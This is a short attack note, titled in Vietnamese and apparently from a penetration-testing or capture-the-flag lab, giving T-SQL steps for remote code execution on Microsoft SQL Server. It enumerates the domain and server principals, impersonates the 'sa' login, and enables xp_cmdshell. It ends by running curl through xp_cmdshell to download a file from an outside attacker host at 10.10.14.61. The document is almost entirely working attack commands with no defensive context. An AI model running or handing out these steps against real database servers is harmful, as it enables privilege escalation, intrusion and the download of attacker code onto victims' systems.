Thực thi RCE via MSSQL CLI

--tim domain

select default_domain()

-- tifm user

select * from master.sys.server_principals

-- Switch to the 'sa' user context

EXECUTE AS LOGIN='sa';

-- Enable advanced options

EXECUTE sp_configure 'show advanced options', 1;

RECONFIGURE;

-- Enable xp_cmdshell

EXECUTE sp_configure 'xp_cmdshell', 1;

RECONFIGURE;

-- Use xp_cmdshell to download the file using curl

EXECUTE xp_cmdshell "curl http://10.10.14.61:1234/a";